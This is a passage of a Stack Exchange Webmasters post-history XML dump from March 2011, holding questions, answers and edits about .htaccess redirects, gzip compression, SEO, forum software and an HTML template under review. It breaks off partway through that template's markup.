  <row Id="22254" PostHistoryTypeId="2" PostId="9986" RevisionGUID="b8d23986-e9f6-4560-8d3d-a53ba563ac9a" CreationDate="2011-03-03T17:12:19.210" UserId="5810" Text="If you have access to the webserver settings you can make a setting change there to add other homepage file names such as index.php, home.html, etc.  Adding this change will lead the webserver to look (in the order they appear in the setting) to find these files in each folder to deplay by default when referencing a folder not a file in a web address.  Also you might look into .htaccess files as I think you can make this same change on a per-folder basis using these kinds of files if you don't have access to the server setting setup." />
  <row Id="22255" PostHistoryTypeId="2" PostId="9987" RevisionGUID="bac76dc3-f3b2-45cd-a77d-ea37b49ccac6" CreationDate="2011-03-03T17:13:20.707" UserId="5800" Text="When I read questions and answers like this I start to think I might be crazy, but I have written fairly complex websites using quite a bit of css, including css3 and other trickiness, and I have never had to resort even to conditional comments.&#xD;&#xA;&#xD;&#xA;I do however constantly check my work accross multiple browsers (I code predominantly in Chrome, and test in firefox and ie7) during coding.  When I see issues come up, I just take a step back, figure out why things are rendering differently, and often choose a slightly different approach.&#xD;&#xA;&#xD;&#xA;That being said, I do have an intellectual interest it these different hacks and methods.  I particularly like reading about techniques used by CSS3 PIE and modernizr.&#xD;&#xA;&#xD;&#xA;The best way to approach cross-browser coding is to be aware of the differnt ways different browsers will interpret your code, and write it in a way that they cannot help but get it right." />
  <row Id="22256" PostHistoryTypeId="2" PostId="9988" RevisionGUID="0e1480a2-ceaa-4e0a-88bf-3aabb4fb9c0a" CreationDate="2011-03-03T17:17:18.537" UserId="5810" Text="Regardless of what area you work (web development, embedded programming, java developing, etc) its would be very beneficial to know how to design a good user interface.  Unless you're working for a very large company that can have a team that does this for you, you very likely will be required to do a lot of this work.  With out this knowledge your programs are likely to be designed such that a computer scientist could use them but your average user would struggle with it.  Diversification on a at least a small scale is a good thing in our field." />
  <row Id="22257" PostHistoryTypeId="25" PostId="9982" RevisionGUID="be274ab2-6e1a-48f0-9724-61be2584cc22" CreationDate="2011-03-03T17:23:14.367" Comment="http://twitter.com/#!/StackWebmasters/status/43360797346381824" />
  <row Id="22258" PostHistoryTypeId="5" PostId="9977" RevisionGUID="4f3f557e-b33d-4cb9-9de3-a699f023e69c" CreationDate="2011-03-03T18:07:15.213" UserId="1253" Comment="Formatted code" Text="I just did a 301 and the domain and some pages which have a mirror file path are fine.&#xD;&#xA;&#xD;&#xA;But I have one directory which is not going to be part of the new site and I don't know how to redirect the old files that were there.&#xD;&#xA;&#xD;&#xA;I need something like this:&#xD;&#xA;oldDomain/oldDir/file.php&#xD;&#xA;&#xD;&#xA;and I need to make it redirect to &#xD;&#xA;&#xD;&#xA;newDomain/differentDir/file.php&#xD;&#xA;&#xD;&#xA;Is that possible?  What is the 301 redirect rule for that?  &#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;I just added this rule as suggested by @Itai and it didn't work&#xD;&#xA;&#xD;&#xA;    redirectMatch permanent ^/outdoors/trees/tanoak.php$ http://www.comehike.com/outdoors/trees/129/Tanoak&#xD;&#xA;&#xD;&#xA;any idea why?" />
  <row Id="22260" PostHistoryTypeId="2" PostId="9990" RevisionGUID="0d4389fc-7d56-45ab-8dd0-82fa25f09ea4" CreationDate="2011-03-03T18:19:58.120" UserId="1253" Text="I am a web developer who does no design work (I am awful at it) but I do **a lot** of HTML/CSS. This is for two reasons:&#xD;&#xA;&#xD;&#xA;1) I may not do the design but it is not uncommon for me to take designs done in Photoshop and turn them into living, breathing web documents.&#xD;&#xA;&#xD;&#xA;2) When generating dynamic content I ultimately have to produce HTML to get that content into the web page. &#xD;&#xA;&#xD;&#xA;If you are going to be doing a lot of web programming you should definitely be at least proficient with HTML and CSS as virtually everything ultimately ends up wrapped up in HTML and styled with CSS in the end. Since this is going to be the result of your work, even if you won't always be the one writing the HTML/CSS, you should at least understand it and how it relates to your work." />
  <row Id="22261" PostHistoryTypeId="5" PostId="9695" RevisionGUID="3e613a16-a9f8-4746-b019-515e496beb08" CreationDate="2011-03-03T18:25:11.237" UserId="1253" Comment="Put update which was originally posted as an answer" Text="We've been debating the following SEO question at our office:&#xD;&#xA;&#xD;&#xA;If you block bot access to a page either via robots.txt or on-page noindex metadata, does that negate the value of any backlinks to that page?&#xD;&#xA;&#xD;&#xA;We have a client who wants to block some event booking form pages from being indexed as each booking form page has a unique URL parameter and the pages are &quot;clogging up&quot; the Google index; however lots of websites link to those booking form pages and we wouldn't want to lose the value of those links.&#xD;&#xA;&#xD;&#xA;Any opinions welcomed.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Thanks guys&#xD;&#xA;&#xD;&#xA;@lese I assumed that blocking a page using robots.txt pretty much guaranteed it wouldn't appear in SERPS. &#xD;&#xA;&#xD;&#xA;Can you further clarify: &quot;Using robots.txt, a blocked page can still be indexed by Google (URL only, or with data from trusted 3rd party sources)&quot;?&#xD;&#xA;&#xD;&#xA;@joshak Thanks. The pages I'm trying to remove from the index don't have much content value - they are just event booking forms. So I'd prefer to get the higher value pages only in the index and direct the link value of the event booking pages to other pages on the website." />
  <row Id="22263" PostHistoryTypeId="2" PostId="9991" RevisionGUID="1e729703-38b3-42be-9981-fd537c4cb565" CreationDate="2011-03-03T18:17:44.627" UserId="5273" Text="Does anyone know what CMS this is?&#xD;&#xA;&#xD;&#xA;Thanks!!&#xD;&#xA;![cms][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ntW9l.jpg" />
  <row Id="22264" PostHistoryTypeId="1" PostId="9991" RevisionGUID="1e729703-38b3-42be-9981-fd537c4cb565" CreationDate="2011-03-03T18:17:44.627" UserId="5273" Text="Which CMS is this (from screenshot)?" />
  <row Id="22265" PostHistoryTypeId="3" PostId="9991" RevisionGUID="1e729703-38b3-42be-9981-fd537c4cb565" CreationDate="2011-03-03T18:17:44.627" UserId="5273" Text="&lt;cms&gt;" />
  <row Id="22266" PostHistoryTypeId="17" PostId="9991" RevisionGUID="01591e8c-3b18-44e3-936d-31110c0125af" CreationDate="2011-03-03T19:22:50.157" UserId="-1" Comment="from http://stackoverflow.com/questions/5184772/which-cms-is-this-from-screenshot" Text="" />
  <row Id="22267" PostHistoryTypeId="2" PostId="9992" RevisionGUID="ffd392c6-b46e-4245-88a3-a55f5c3308bd" CreationDate="2011-03-03T19:40:30.677" UserId="5813" Text="I have a web site and some guy had made an iphone app for my site without my permission and selling it. He is using my API without getting permission. &#xD;&#xA;&#xD;&#xA;How can i report this to Apple?" />
  <row Id="22268" PostHistoryTypeId="1" PostId="9992" RevisionGUID="ffd392c6-b46e-4245-88a3-a55f5c3308bd" CreationDate="2011-03-03T19:40:30.677" UserId="5813" Text="Illegal iphone app for my website" />
  <row Id="22269" PostHistoryTypeId="3" PostId="9992" RevisionGUID="ffd392c6-b46e-4245-88a3-a55f5c3308bd" CreationDate="2011-03-03T19:40:30.677" UserId="5813" Text="&lt;security&gt;" />
  <row Id="22270" PostHistoryTypeId="6" PostId="9992" RevisionGUID="a3906e21-4837-4bb2-9f77-0bafe1401336" CreationDate="2011-03-03T20:12:19.957" UserId="1253" Comment="Removed &quot;security &quot; tag, added &quot;legal&quot; tag" Text="&lt;legal&gt;" />
  <row Id="22271" PostHistoryTypeId="2" PostId="9993" RevisionGUID="fbcfc4bf-84a4-4c10-8f39-562489006c3e" CreationDate="2011-03-03T20:20:28.013" UserId="4502" Text="Here's an &lt;a href=&quot;http://discussions.apple.com/thread.jspa?threadID=2488321&amp;tstart=73&quot;&gt;Apple forum thread&lt;/a&gt; pointing the claimant at the iTunes support &lt;a href=&quot;http://www.apple.com/support/itunes/&quot;&gt;contact area&lt;/a&gt;." />
  <row Id="22272" PostHistoryTypeId="25" PostId="9992" RevisionGUID="3724ad54-36bb-4741-82f2-d47aef0eecb9" CreationDate="2011-03-03T20:23:14.717" Comment="http://twitter.com/#!/StackWebmasters/status/43406096207052800" />
  <row Id="22273" PostHistoryTypeId="2" PostId="9994" RevisionGUID="f59c2280-642e-4b74-bcc4-234e93762a95" CreationDate="2011-03-03T20:26:17.150" UserId="4502" Text="I would guess it's a proprietary system, developed by &lt;a href=&quot;http://home.mawebcenters.com/&quot;&gt;these people&lt;/a&gt;.  &#xD;&#xA;If it's built off of some existing CMS, it's probably customized enough as to be proprietary anyway, though that doesn't seem quite what you're asking." />
  <row Id="22274" PostHistoryTypeId="5" PostId="9992" RevisionGUID="97cdc70b-7e11-46a8-9e69-c1ea5dbcebba" CreationDate="2011-03-03T20:36:34.963" UserId="5813" Comment="deleted 1 characters in body; edited title" Text="I have a web site and someone had made an iphone app for my site without my permission and selling it. He is using my API without getting permission. &#xD;&#xA;&#xD;&#xA;How can i report this to Apple?" />
  <row Id="22275" PostHistoryTypeId="4" PostId="9992" RevisionGUID="97cdc70b-7e11-46a8-9e69-c1ea5dbcebba" CreationDate="2011-03-03T20:36:34.963" UserId="5813" Comment="deleted 1 characters in body; edited title" Text="Illegal iphone app for website" />
  <row Id="22276" PostHistoryTypeId="2" PostId="9995" RevisionGUID="5e8261a5-5ddd-4b2b-9926-8a6842398ea9" CreationDate="2011-03-03T21:20:01.927" UserId="5818" Text="I've configured my site to serve compressed content by putting this line in .htaccess&#xD;&#xA;&#xD;&#xA;    AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript text/css application/javascript application/json&#xD;&#xA;&#xD;&#xA;This works perfectly for almost all files except a few large JSON files that are above 200Kb. For some reason they are not being compressed. I see that they don't using the net tab in firebug and the Network section in chrome.&#xD;&#xA;&#xD;&#xA;So as a workaround I thought I could compress these files offline and have Apache read them compressed.  &#xD;&#xA;What tool should I use to compress them? is the linux gzip the one? any special flags or something I should use?  &#xD;&#xA;What should I put in .htaccess so that the server would know to serve these files with content-encoding gzip ?&#xD;&#xA;" />
  <row Id="22277" PostHistoryTypeId="1" PostId="9995" RevisionGUID="5e8261a5-5ddd-4b2b-9926-8a6842398ea9" CreationDate="2011-03-03T21:20:01.927" UserId="5818" Text="Gzip compress offline?" />
  <row Id="22278" PostHistoryTypeId="3" PostId="9995" RevisionGUID="5e8261a5-5ddd-4b2b-9926-8a6842398ea9" CreationDate="2011-03-03T21:20:01.927" UserId="5818" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;gzip&gt;" />
  <row Id="22279" PostHistoryTypeId="2" PostId="9996" RevisionGUID="c16bb8ff-7a03-45f7-a156-5b4b2fd4274a" CreationDate="2011-03-03T21:22:07.933" UserId="5819" Text="Can't you just block the app? Like &quot;if API gets requested by BAD-APP &gt;redirect to NOT ALLOWED&quot; &#xD;&#xA;&#xD;&#xA;Don't allow the iPhone usage of your site." />
  <row Id="22280" PostHistoryTypeId="2" PostId="9997" RevisionGUID="f1ae0a3f-a33b-4fb6-b53c-1aad964a0202" CreationDate="2011-03-03T22:06:35.773" UserId="1735" Text="My client wants a &quot;lite&quot; forum... not unlike these stack exchange sites, but even a little lighter.&#xD;&#xA;&#xD;&#xA;There's a screenshot of the discussion group she likes most, below. You can also go [here][1] to see it for yourself it you like. I don't think traditional forum apps will display, functionally, in this manner.&#xD;&#xA;&#xD;&#xA;**Is there any software I can use to get a similar result? A web service would be acceptable as well.**&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.diabeticconnect.com/discussions&#xD;&#xA;  [2]: http://i.stack.imgur.com/NtaIS.png" />
  <row Id="22281" PostHistoryTypeId="1" PostId="9997" RevisionGUID="f1ae0a3f-a33b-4fb6-b53c-1aad964a0202" CreationDate="2011-03-03T22:06:35.773" UserId="1735" Text="Group &quot;Discussion&quot; software?" />
  <row Id="22282" PostHistoryTypeId="3" PostId="9997" RevisionGUID="f1ae0a3f-a33b-4fb6-b53c-1aad964a0202" CreationDate="2011-03-03T22:06:35.773" UserId="1735" Text="&lt;forum&gt;&lt;social-networks&gt;" />
  <row Id="22283" PostHistoryTypeId="2" PostId="9998" RevisionGUID="7f3a793f-c996-40b1-a1cc-40e400fb8a72" CreationDate="2011-03-03T22:08:23.523" UserId="5117" Text="Yes, use gzip to compress the file. You'll save a little of CPU power.&#xD;&#xA;&#xD;&#xA;    gzip -c your_big_json_file &gt; your_big_json_file.gz&#xD;&#xA;&#xD;&#xA;Then in your Apache configuration enable Multiviews&#xD;&#xA;&#xD;&#xA;    Options MultiViews&#xD;&#xA;&#xD;&#xA;it does [content-negotiation][1] with the browser. &#xD;&#xA;&#xD;&#xA;Note: change the reference to your json file in the code to use the newly created `.gz` file!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/content-negotiation.html &quot;Content&quot;" />
  <row Id="22284" PostHistoryTypeId="2" PostId="9999" RevisionGUID="587e8dbf-18b5-4fa8-bbfe-a8c42e773cc1" CreationDate="2011-03-03T22:21:21.517" UserId="5819" Text="I'm looking for a simple software that lets user setting up a short profile about themselves and if possible let them connect to others (PM / follow as friend function / profile comments). &#xD;&#xA;&#xD;&#xA;I'm not looking for a big forum like vBulletin or phpBB rather for a directory like thing where users can enter the list with their data.&#xD;&#xA;&#xD;&#xA;Any ideas welcome!&#xD;&#xA;Thanks,&#xD;&#xA;Bob" />
  <row Id="22285" PostHistoryTypeId="1" PostId="9999" RevisionGUID="587e8dbf-18b5-4fa8-bbfe-a8c42e773cc1" CreationDate="2011-03-03T22:21:21.517" UserId="5819" Text="Simple user listing / profile board" />
  <row Id="22286" PostHistoryTypeId="3" PostId="9999" RevisionGUID="587e8dbf-18b5-4fa8-bbfe-a8c42e773cc1" CreationDate="2011-03-03T22:21:21.517" UserId="5819" Text="&lt;community&gt;&lt;directory-listing&gt;" />
  <row Id="22287" PostHistoryTypeId="2" PostId="10000" RevisionGUID="ee423178-3f52-4186-a82f-cc7d95906ea5" CreationDate="2011-03-03T22:27:05.687" UserId="5821" Text="I would like to start a project and I am concerning what kind of programming language/web framework to use. There is not that much logic involved. It's about a community-page with a lot of users(not that much at the beginning but I would like to be ready to welcome a lot), that should be able to communicate through private messages and a forum and there will be a lot of content (news, articles) to consume. I also want to provide several authorization settings to provide some content for only specific people. In fact it's about a content management system, but I want to design it functionally myself. And I want to use some external APIs.&#xD;&#xA;&#xD;&#xA;The only website I can think of with almost similar functionality is pokerstrategy.com. I looked up their job offers and it seems like they use java and php&#xD;&#xA;&#xD;&#xA;Maybe you guys can give me your thoughts. What would you use to encounter that requirements and how would you apprach?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="22288" PostHistoryTypeId="1" PostId="10000" RevisionGUID="ee423178-3f52-4186-a82f-cc7d95906ea5" CreationDate="2011-03-03T22:27:05.687" UserId="5821" Text="What Web Technology to use?" />
  <row Id="22289" PostHistoryTypeId="3" PostId="10000" RevisionGUID="ee423178-3f52-4186-a82f-cc7d95906ea5" CreationDate="2011-03-03T22:27:05.687" UserId="5821" Text="&lt;web-development&gt;&lt;web&gt;" />
  <row Id="22290" PostHistoryTypeId="2" PostId="10001" RevisionGUID="f6ea5794-3566-45ae-8f47-eb0f3f3c150c" CreationDate="2011-03-03T09:58:16.817" UserDisplayName="user543087" Text="My site: http://www.CreditCardPaymentGateways.in is only 3 days to be 6 months old.&#xD;&#xA;&#xD;&#xA;This website is unique, that is there is no competitor to this type site in India, providing comparison of payment gateways in India, besides the payment gateways companies itself.&#xD;&#xA;&#xD;&#xA;I've optimized it for key word : &quot;payment gateway&quot;&#xD;&#xA;&#xD;&#xA;I've changed the url's twice, latest being 3 months back, in which case Google Webmaster gave plently of 404's. I corrected the useful 404's and left meaningless ones as it is.&#xD;&#xA;&#xD;&#xA;What is the reason it's not ranking well for payment gateways? Even site with single page about &quot;Payment gateways&quot; seem to be ranking better than this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it does to:&#xD;&#xA;1) Lot of outbound links to in-context companies and information&#xD;&#xA;2) 404's as reported in Google Webmaster&#xD;&#xA;&#xD;&#xA;My another site is successfully getting 1500 unique visitors daily and is up in Google ranking. I don't know why it is not!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="22291" PostHistoryTypeId="1" PostId="10001" RevisionGUID="f6ea5794-3566-45ae-8f47-eb0f3f3c150c" CreationDate="2011-03-03T09:58:16.817" UserDisplayName="user543087" Text="Why my site is not ranking for particular keyword" />
  <row Id="22292" PostHistoryTypeId="3" PostId="10001" RevisionGUID="f6ea5794-3566-45ae-8f47-eb0f3f3c150c" CreationDate="2011-03-03T09:58:16.817" UserDisplayName="user543087" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;engines&gt;" />
  <row Id="22293" PostHistoryTypeId="17" PostId="10001" RevisionGUID="7a54d2c0-0d9e-40de-b7aa-25da72898a3c" CreationDate="2011-03-03T22:51:09.857" UserId="-1" Comment="from http://stackoverflow.com/questions/5179129/why-my-site-is-not-ranking-for-particular-keyword" Text="" />
  <row Id="22294" PostHistoryTypeId="5" PostId="10001" RevisionGUID="cab0d9bc-1e0b-4457-a2d4-79aae88fdb7a" CreationDate="2011-03-03T23:00:39.907" UserId="1253" Comment="Removed URL so the question can stay open" Text="My site is only 3 days to be 6 months old.&#xD;&#xA;&#xD;&#xA;This website is unique, that is there is no competitor to this type site in India, providing comparison of payment gateways in India, besides the payment gateways companies itself.&#xD;&#xA;&#xD;&#xA;I've optimized it for key word : &quot;payment gateway&quot;&#xD;&#xA;&#xD;&#xA;I've changed the url's twice, latest being 3 months back, in which case Google Webmaster gave plently of 404's. I corrected the useful 404's and left meaningless ones as it is.&#xD;&#xA;&#xD;&#xA;What is the reason it's not ranking well for payment gateways? Even site with single page about &quot;Payment gateways&quot; seem to be ranking better than this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is it does to:&#xD;&#xA;1) Lot of outbound links to in-context companies and information&#xD;&#xA;2) 404's as reported in Google Webmaster&#xD;&#xA;&#xD;&#xA;My another site is successfully getting 1500 unique visitors daily and is up in Google ranking. I don't know why it is not!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="22295" PostHistoryTypeId="6" PostId="10001" RevisionGUID="cab0d9bc-1e0b-4457-a2d4-79aae88fdb7a" CreationDate="2011-03-03T23:00:39.907" UserId="1253" Comment="Removed URL so the question can stay open" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;&lt;engines&gt;" />
  <row Id="22296" PostHistoryTypeId="2" PostId="10002" RevisionGUID="d8cc7193-cbbf-49a5-9dce-e7b5e2027db5" CreationDate="2011-03-03T23:04:56.860" UserId="1253" Text="You say &quot;optimized it for &quot;payment gateway&quot;but what does that really mean? Did you create the site with search engines in mind or users? If you had search engines in mind then it probably comes across as &quot;over optimized&quot; which is a nice way of saying spammy (from a search engine point of view).&#xD;&#xA;&#xD;&#xA;Lots of outbound links can hurt as you are &quot;sending&quot; a lot pf PR to other sites and removing it from yours. But this in and of itself isn't a big deal. What would be a big deal is what kind of incoming links do you have? I bet it's few and weak ones at that. I also bet your competition has stronger incoming links then you do.&#xD;&#xA;&#xD;&#xA;A lot of 404s indicate a poorly maintained and/or built site. If you've got a lot of 404s you probably have lots of other errors that aren't doing you any good, too. Fix your site and makes sure it works before you wonder why it isn't ranking well." />
  <row Id="22297" PostHistoryTypeId="25" PostId="9997" RevisionGUID="5816dc92-9460-4ddc-875e-2e5c60b1adaf" CreationDate="2011-03-03T23:23:15.250" Comment="http://twitter.com/#!/StackWebmasters/status/43451397718548480" />
  <row Id="22298" PostHistoryTypeId="2" PostId="10003" RevisionGUID="034a00a7-5b88-4dfb-8978-4aca4e6c352d" CreationDate="2011-03-03T23:26:05.470" UserId="5727" Text="I'm designing a new site which I want to be as SEO friendly as possible, fast and responsive, semantic and very accessible.  A lot of these things, embarrassingly are quite new to me.  Have I miss applied anything?  I want the template to be perfect.&#xD;&#xA;&#xD;&#xA;Live demo:  http://69.24.73.172/demos/newDemo/&#xD;&#xA;&#xD;&#xA;HTML:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;      &#xD;&#xA;    &#xD;&#xA;    &lt;html lang=&quot;en&quot;&gt;  &#xD;&#xA;        &#xD;&#xA;    &lt;head&gt;    &#xD;&#xA;    	&lt;meta charset=&quot;UTF-8&quot; /&gt;    &#xD;&#xA;    	&lt;title&gt;Welcome to Scirra.com&lt;/title&gt;    &#xD;&#xA;    	&lt;meta name=&quot;description&quot; content=&quot;Construct 2, the HTML5 games creator.&quot; /&gt;    &#xD;&#xA;    	&lt;meta name=&quot;keywords&quot; content=&quot;game maker, game builder, html5, create games, games creator&quot; /&gt;    &#xD;&#xA;    	&lt;link rel=&quot;stylesheet&quot; href=&quot;css/default.css&quot; type=&quot;text/css&quot; /&gt;     &#xD;&#xA;    	&lt;link rel=&quot;stylesheet&quot; href=&quot;plugins/coin-slider/coin-slider-styles.css&quot; type=&quot;text/css&quot; /&gt;    &#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;div class=&quot;topBar&quot;&gt;&lt;/div&gt;    &#xD;&#xA;    &lt;div class=&quot;mainBox&quot;&gt;&#xD;&#xA;    	&lt;header&gt;    &#xD;&#xA;    		&lt;div class=&quot;headWrapper&quot;&gt;    &#xD;&#xA;    			&lt;div class=&quot;s searchWrap&quot;&gt;    &#xD;&#xA;    				&lt;input type=&quot;text&quot; name=&quot;SearchBox&quot; id=&quot;SearchBox&quot; tabindex=&quot;1&quot; /&gt;    &#xD;&#xA;    				&lt;div class=&quot;s searchIco&quot;&gt;&lt;/div&gt;    &#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    			&lt;!-- Logo placeholder --&gt;		&#xD;&#xA;    &#xD;&#xA;    		&lt;/div&gt;	    &#xD;&#xA;    		&lt;div class=&quot;menuWrapper&quot;&gt;&lt;nav&gt;    &#xD;&#xA;    			&lt;ul class=&quot;mainMenu&quot;&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Forum&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;mainSelected&quot;&gt;Construct&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Arcade&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Manual&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    			&lt;/ul&gt;    &#xD;&#xA;    			&lt;ul class=&quot;underMenu&quot;&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Homepage&lt;/a&gt;&lt;/li&gt;	    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;underSelected&quot;&gt;Construct&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Products&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Community Forum&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    				&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Contact Us&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    			&lt;/ul&gt;    &#xD;&#xA;    			&lt;/nav&gt;&lt;/div&gt;    &#xD;&#xA;    	&lt;/header&gt;   &#xD;&#xA;    	    &#xD;&#xA;    	&lt;div class=&quot;contentWrapper&quot;&gt;    &#xD;&#xA;    		&lt;div class=&quot;wideCol&quot;&gt;    &#xD;&#xA;    			&lt;div id=&quot;coin-slider&quot; class=&quot;slideShowWrapper&quot;&gt;    &#xD;&#xA;    				&lt;a href=&quot;#&quot; target=&quot;_blank&quot;&gt;    &#xD;&#xA;    					&lt;img src=&quot;images/screenshot1.jpg&quot; alt=&quot;Screenshot&quot; /&gt;    &#xD;&#xA;    					&lt;span&gt;    &#xD;&#xA;    						Scirra software allows you to bring your imagination to life&#xD;&#xA;    &#xD;&#xA;    					&lt;/span&gt;    &#xD;&#xA;    				&lt;/a&gt;    &#xD;&#xA;    				&lt;a href=&quot;#&quot;&gt;    &#xD;&#xA;    					&lt;img src=&quot;images/screenshot2.jpg&quot; alt=&quot;Screenshot&quot; /&gt;    &#xD;&#xA;    					&lt;span&gt;    &#xD;&#xA;    						Export your creations to HTML5 pages    &#xD;&#xA;    					&lt;/span&gt;    &#xD;&#xA;    				&lt;/a&gt;	    &#xD;&#xA;    				&lt;a href=&quot;#&quot;&gt;    &#xD;&#xA;    					&lt;img src=&quot;images/screenshot3.jpg&quot; alt=&quot;Screenshot&quot; /&gt;    &#xD;&#xA;    					&lt;span&gt;    &#xD;&#xA;    						Another description of some image&#xD;&#xA;      					&lt;/span&gt;    &#xD;&#xA;    				&lt;/a&gt;    &#xD;&#xA;    				&lt;a href=&quot;#&quot;&gt;    &#xD;&#xA;    					&lt;img src=&quot;images/screenshot4.jpg&quot; alt=&quot;Screenshot&quot; /&gt;    &#xD;&#xA;    					&lt;span&gt;    &#xD;&#xA;    						Something motivational to tell people    &#xD;&#xA;    					&lt;/span&gt;    &#xD;&#xA;    				&lt;/a&gt;    &#xD;&#xA;    			&lt;/div&gt;	    &#xD;&#xA;    			&lt;div class=&quot;newsWrapper&quot;&gt;    &#xD;&#xA;    				&lt;h2&gt;Latest from Twitter&lt;/h2&gt;    &#xD;&#xA;    				&lt;div id=&quot;twitterFeed&quot;&gt;   &#xD;&#xA;    					&lt;p&gt;The news on the block is this.  Something has happened some news or something. &lt;span class=&quot;smallDate&quot;&gt;About 6 hours ago&lt;/span&gt;&lt;/p&gt;    &#xD;&#xA;    					&lt;p&gt;Another thing has happened lets tell the world some news or something. Lots to think about.  Lots to do.&lt;span class=&quot;smallDate&quot;&gt;About 6 hours ago&lt;/span&gt;&lt;/p&gt;    &#xD;&#xA;    					&lt;p&gt;Shocker!  Santa Claus is not real.  This is breaking news, we must spread it. &lt;span class=&quot;smallDate&quot;&gt;About 6 hours ago&lt;/span&gt;&lt;/p&gt;    &#xD;&#xA;    				&lt;/div&gt;    &#xD;&#xA;    			&lt;/div&gt;    &#xD;&#xA;    		&lt;/div&gt;    &#xD;&#xA;    		&lt;div class=&quot;thinCol&quot;&gt;    &#xD;&#xA;    			&lt;h1&gt;Main Heading&lt;/h1&gt;    &#xD;&#xA;    			&lt;p&gt;Some paragraph goes here.  It tells you about the picture.  Cool!  Have you thought about downloading Construct 2?  Well you can download it with the link below.  This column will expand vertically.&lt;/p&gt;    &#xD;&#xA;    			&lt;h3&gt;Help Me!&lt;/h3&gt;    &#xD;&#xA;    			&lt;p&gt;This column will keep expanging and expanging.  It pads stuff out to make other things look good imo.&lt;/p&gt;    &#xD;&#xA;    			&lt;h3&gt;Why Download?&lt;/h3&gt;    &#xD;&#xA;    			&lt;p&gt;As well as other features, we also have some other features.  Check out our &lt;a href=&quot;#&quot;&gt;other features&lt;/a&gt;.  Each of our other features is really cool and there to help everyone suceed.&lt;/p&gt;    &#xD;&#xA;    			&lt;a href=&quot;#&quot; class=&quot;s downloadBox&quot; title=&quot;Download Construct 2 Now&quot;&gt;    &#xD;&#xA;    				&lt;div class=&quot;downloadHead&quot;&gt;Download&lt;/div&gt;    &#xD;&#xA;    				&lt;div class=&quot;downloadSize&quot;&gt;24.5 MB&lt;/div&gt;    &#xD;&#xA;    			&lt;/a&gt;			    &#xD;&#xA;    		&lt;/div&gt;    &#xD;&#xA;    		&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;   &#xD;&#xA;    &#xD;&#xA;    		&lt;h2&gt;This Weeks Spotlight&lt;/h2&gt;    &#xD;&#xA;    		&lt;div class=&quot;halfColWrapper&quot;&gt;    &#xD;&#xA;    			&lt;img src=&quot;images/spotlight1.png&quot; class=&quot;spotLightImg&quot; alt=&quot;Spotlight User&quot; /&gt;    &#xD;&#xA;    			&lt;p&gt;Our spotlight member this week is Pooh-Bah.  He writes good stuff.  Read it. &lt;a class=&quot;moreInfoLink&quot; href=&quot;#&quot;&gt;Learn More&lt;/a&gt;&lt;/p&gt;&#xD;&#xA;       		&lt;/div&gt;    &#xD;&#xA;    		&lt;div class=&quot;halfColWrapper r&quot;&gt;    &#xD;&#xA;    			&lt;img src=&quot;images/spotlight2.png&quot; class=&quot;spotLightImg&quot; alt=&quot;Spotlight Game&quot; /&gt;    &#xD;&#xA;    			&lt;p&gt;Killer Bears is a scary ass game from JimmyJones.  How many bears can you escape from? &lt;a class=&quot;moreInfoLink&quot; href=&quot;#&quot;&gt;Learn More&lt;/a&gt;&lt;/p&gt;    &#xD;&#xA;    		&lt;/div&gt;    &#xD;&#xA;    		&lt;div class=&quot;clear&quot;&gt;&lt;/div&gt;    &#xD;&#xA;    	&lt;/div&gt;	    &#xD;&#xA;    &lt;/div&gt;&lt;div class=&quot;mainEnder&quot;&gt;&lt;/div&gt;   &#xD;&#xA;    &#xD;&#xA;    &lt;footer&gt;    &#xD;&#xA;    	&lt;div class=&quot;footerWrapper&quot;&gt;    &#xD;&#xA;    		&lt;div class=&quot;footerBox&quot;&gt;	    &#xD;&#xA;    			&lt;div class=&quot;footerItem&quot;&gt;    &#xD;&#xA;    				&lt;h4&gt;Community&lt;/h4&gt;    &#xD;&#xA;    				&lt;ul&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;The Blog&lt;/a&gt;&lt;/li&gt;    &#xD;&#xA;    					&lt;li&gt;&lt;a href=&quot;#&quot;&gt;Community 